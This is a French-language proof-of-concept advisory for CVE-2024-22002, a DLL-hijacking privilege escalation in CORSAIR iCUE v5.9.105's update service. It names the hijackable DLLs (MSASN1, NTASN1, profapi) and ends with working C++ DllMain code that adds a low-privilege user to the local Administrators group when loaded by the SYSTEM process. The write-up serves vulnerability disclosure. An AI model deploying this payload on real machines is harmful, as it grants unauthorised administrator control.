
Preuve de concept pour une vulnérabilité d'élévation de privilèges locaux (CVE-2024-22002) dans CORSAIR iCUE v5.9.105 via un détournement de DLL pendant le processus de mise à jour, permettant aux utilisateurs non privilégiés d'obtenir les privilèges SYSTEM.
Une vulnérabilité de détournement de DLL (DLL Hijacking) a été identifiée dans iCUE v5.9.105. Cette vulnérabilité se produit lors du processus de mise à jour, géré par le service « iCUEUpdateService ». Le service lance un processus (« cuepkg.exe ») responsable de l'exécution de la mise à jour, s'exécutant avec les privilèges « NT AUTHORITY\SYSTEM ». Lors du démarrage du processus, il recherche plusieurs DLL dans le répertoire \cuepkg-1.2.6, situé dans le répertoire d'installation d'iCUE. Certaines de ces DLL ne sont pas présentes par défaut, mais comme un utilisateur ordinaire dispose des privilèges nécessaires pour créer des fichiers dans ce répertoire, un attaquant pourrait éventuellement introduire une DLL malveillante dans ce répertoire. Par conséquent, cette DLL malveillante serait chargée par cuepkg.exe avec des privilèges d'administrateur.
Les DLL affectées détectées sont les suivantes :
MSASN1.dllNTASN1.dllprofapi.dllVecteur CVSS : (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
À titre d'exemple, la DLL profapi.dll sera prise.
%INSTALLDIR%cuepkg-1.2.6.Privilèges de l'utilisateur lowpriv avant l'exécution de la DLL malveillante :

Privilèges de l'utilisateur lowpriv après l'exécution de la DLL malveillante :

#include "pch.h"
#include <windows.h>
#include <cstdlib>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
system("net localgroup Administrators desktop-ckfiane\\lowpriv /add");
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}